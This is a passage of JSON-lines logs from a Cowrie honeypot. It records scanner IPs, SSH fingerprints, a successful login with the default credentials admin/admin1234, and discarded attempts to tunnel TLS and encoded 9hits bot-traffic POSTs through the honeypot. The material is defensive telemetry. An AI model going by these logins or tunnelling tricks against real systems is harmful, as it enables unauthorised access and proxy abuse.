\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 R\\xa6Z\\x0e\\xaa\\x9e\\xd8rS6G\\xf1\\xda\\xbb\\x93r%l\\x82\\xf6\\xd2\\xf0\\xe2\\x17\\xeb\\xd0\\xa7\\x9cA\\xa3\\x90r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03fn/\\xd31e\\xbb\\xfc\\xaf\\x13\\xe7Z\\x04$QPE+F\\x88\\xc0U\\x03\\x17\\xce\\xe2J\\xe7.\\xb5\\xd9\\xd3 B\\xcb\\x93|\\xd2\\xe9\\x88\\x8dC\\x8bc\\x0774\\xba\\xfaJ\\x1a\\x0431+\\xe3\\x13n\\xefD\\n\\xe9L<\\xe4\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 R\\xa6Z\\x0e\\xaa\\x9e\\xd8rS6G\\xf1\\xda\\xbb\\x93r%l\\x82\\xf6\\xd2\\xf0\\xe2\\x17\\xeb\\xd0\\xa7\\x9cA\\xa3\\x90r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:14.228110Z","src_ip":"23.175.50.52","session":"8f4eb6b52019","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:14.287899Z","src_ip":"23.175.50.52","session":"8f4eb6b52019","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1 Mobile/16B92 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TiZyPDwjR3A%2BQEwxb0MvOQ%3D%3DG8BaPVBTAVUWd%2FySF2Wf3HUmYL9sdxNA8I7TxLfs8TAvA6YNFL5WuSeqMUb%2BC97VG4oiEdN%2Bc4kx6ipkK75l%2Bg6P3cwlDgovDPqojUbrl68FWHE2K71odRpY8wp1qf9NIJNH9y7P7vHzIG1c2cfm9Lws3MU%2BrvyCnIu6sAhJr5VVNOS8CmYMF8Amgesjnwq4RpJp%2BNR7gAWx9%2BkSF3RJOLMjgWtd7HgZgrJNLKzzCCusWTeH8O4RdweglqchrgxtTRB1mHVy9eOR%2Fm2PO3uaFvZGknxM7u%2FSuDhFO6COqdaFJgCPDZ%2FlNJLMHIS8TYoirp%2FWJzuvfU1rUuxMyc40Ge6J8mtLcPn1w3WzE60aZMBcR1Y4sWnaW3GAfalaJsbX3CR%2FzVP4IsamMIeTjORHddyAG7gzsat4aaNCGW9VW%2FGApxVW5IS5rwJpsomMEhYQsXs%2FIgDfbxhzl1sCPXSCwxVWuKN6lJp64olmKYEAdSbFic6JEgNIdNXzUqJAQtNs83DjKsNYUcN3OE7skHk9TjWdFchXcOf2qZdhE9qckn9kNe5jhvLTXX7IxbWXBJ%2BvsqzMyosnQSI655LagaDRDpqOmqzkoax5l%2FPF9scZiMjQCLjQvTuEd5%2FMxVmi1QgpXu1XB8%2BgGTgM2Jc556LQG2mHPRhvQW2NBnepFMZYWcd119p5zOAaTBQlUEtYVE4jag9mS7NY6SwdgFwvZvm4zi39D8m8bOlZ2y0lhrOWYRYUiW8QyZ387yy%2BzMunbFJMN7%2FsvjcEXwCCfropD5z8WOoyena%2BCaiIcEhBNs9ayZ5ZCA0u77VfKupzy11kqq95l3cR47e%2FNK2ANU%2BX2AD1N5MFlFawTLBVX%2BcoDK2XZ5w68fjMe5rHiTJMiQQYHnZTF8LGmDzck7mEXlnwMnx0OkAprNB6ilzj2Jz5GcSgs4N57rkBh4VA%2FxxAsVnt91rYJPXNuXL44unYk%2FChAgzAXhRiPheXWrQ1Xs0OsNSgIH0LuCTg17VAouXHovtSTziVxrMTaoJEw3Q817qZQIVkx7B6txtHU%2BY1ikntn%2FPLXK8dCVgvSyTk0VM6RXUNPPg2'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1 Mobile/16B92 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TiZyPDwjR3A%2BQEwxb0MvOQ%3D%3DG8BaPVBTAVUWd%2FySF2Wf3HUmYL9sdxNA8I7TxLfs8TAvA6YNFL5WuSeqMUb%2BC97VG4oiEdN%2Bc4kx6ipkK75l%2Bg6P3cwlDgovDPqojUbrl68FWHE2K71odRpY8wp1qf9NIJNH9y7P7vHzIG1c2cfm9Lws3MU%2BrvyCnIu6sAhJr5VVNOS8CmYMF8Amgesjnwq4RpJp%2BNR7gAWx9%2BkSF3RJOLMjgWtd7HgZgrJNLKzzCCusWTeH8O4RdweglqchrgxtTRB1mHVy9eOR%2Fm2PO3uaFvZGknxM7u%2FSuDhFO6COqdaFJgCPDZ%2FlNJLMHIS8TYoirp%2FWJzuvfU1rUuxMyc40Ge6J8mtLcPn1w3WzE60aZMBcR1Y4sWnaW3GAfalaJsbX3CR%2FzVP4IsamMIeTjORHddyAG7gzsat4aaNCGW9VW%2FGApxVW5IS5rwJpsomMEhYQsXs%2FIgDfbxhzl1sCPXSCwxVWuKN6lJp64olmKYEAdSbFic6JEgNIdNXzUqJAQtNs83DjKsNYUcN3OE7skHk9TjWdFchXcOf2qZdhE9qckn9kNe5jhvLTXX7IxbWXBJ%2BvsqzMyosnQSI655LagaDRDpqOmqzkoax5l%2FPF9scZiMjQCLjQvTuEd5%2FMxVmi1QgpXu1XB8%2BgGTgM2Jc556LQG2mHPRhvQW2NBnepFMZYWcd119p5zOAaTBQlUEtYVE4jag9mS7NY6SwdgFwvZvm4zi39D8m8bOlZ2y0lhrOWYRYUiW8QyZ387yy%2BzMunbFJMN7%2FsvjcEXwCCfropD5z8WOoyena%2BCaiIcEhBNs9ayZ5ZCA0u77VfKupzy11kqq95l3cR47e%2FNK2ANU%2BX2AD1N5MFlFawTLBVX%2BcoDK2XZ5w68fjMe5rHiTJMiQQYHnZTF8LGmDzck7mEXlnwMnx0OkAprNB6ilzj2Jz5GcSgs4N57rkBh4VA%2FxxAsVnt91rYJPXNuXL44unYk%2FChAgzAXhRiPheXWrQ1Xs0OsNSgIH0LuCTg17VAouXHovtSTziVxrMTaoJEw3Q817qZQIVkx7B6txtHU%2BY1ikntn%2FPLXK8dCVgvSyTk0VM6RXUNPPg2'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:14.291130Z","src_ip":"23.175.50.52","session":"8f4eb6b52019","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:14.296563Z","session":"8f4eb6b52019","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:14.394029Z","src_ip":"23.175.50.52","session":"8f4eb6b52019","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9e\\x01\\xe2\\xb5\\x9d/\\xc4\\xab\\x8d\\xc0\\xe2\\x96\\xbc\\x8e\\x95\\xac\\xf4\\xff\\\\}\\xb2\\xbc[\\x88=\\xb9j\\x90\\xdd\\xa5\\x01\\x0f x8\\x9ed\\x0c\\xbb\\xd4#\\x14\\x06\\xa0\\x8cGeeZ\\xd9\\xb9~\\x14\\x1a\\xc2\\x91\\xf0\\xc2\\x1eV/\\xcb\\xc8\\x97V\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 %^\\x19\\x83\\x86\\xf0*\\x11\\xf3\\xf4\\xd2\\xb1/\\xeec,Iw\\x08\\x07\\x82\\xaf\\xc0\\xd6\\xe9%i\\xe3<l\\xde&\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9e\\x01\\xe2\\xb5\\x9d/\\xc4\\xab\\x8d\\xc0\\xe2\\x96\\xbc\\x8e\\x95\\xac\\xf4\\xff\\\\}\\xb2\\xbc[\\x88=\\xb9j\\x90\\xdd\\xa5\\x01\\x0f x8\\x9ed\\x0c\\xbb\\xd4#\\x14\\x06\\xa0\\x8cGeeZ\\xd9\\xb9~\\x14\\x1a\\xc2\\x91\\xf0\\xc2\\x1eV/\\xcb\\xc8\\x97V\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 %^\\x19\\x83\\x86\\xf0*\\x11\\xf3\\xf4\\xd2\\xb1/\\xeec,Iw\\x08\\x07\\x82\\xaf\\xc0\\xd6\\xe9%i\\xe3<l\\xde&\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:14.397113Z","src_ip":"23.175.50.52","session":"8f4eb6b52019","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:15.427562Z","src_ip":"103.82.132.16","session":"05df41a0f9b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49974,"dst_ip":"159.203.135.109","dst_port":23,"session":"214af09da3bf","protocol":"telnet","message":"New connection: 128.199.8.54:49974 (159.203.135.109:23) [session: 214af09da3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:18.298090Z"}
{"eventid":"cowrie.session.closed","duration":"35.8","message":"Connection lost after 35.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:18.911714Z","src_ip":"23.175.50.52","session":"8f4eb6b52019","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.40589737892151,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:19.137900Z","src_ip":"128.199.8.54","session":"93c5421e60b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":50171,"dst_ip":"10.17.0.5","dst_port":22,"session":"faea43517627","protocol":"ssh","message":"New connection: 23.175.50.51:50171 (10.17.0.5:22) [session: faea43517627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:19.445734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:19.451264Z","src_ip":"23.175.50.51","session":"faea43517627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:19.629746Z","src_ip":"23.175.50.51","session":"faea43517627","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:22.198272Z","src_ip":"23.175.50.51","session":"faea43517627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.96218490600586,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:22.267715Z","src_ip":"172.81.62.90","session":"a3946000ada2","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:32.040621Z","session":"faea43517627","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:30:32.099782Z","src_ip":"23.175.50.51","session":"faea43517627","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; TAB1081 Build/O11019) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 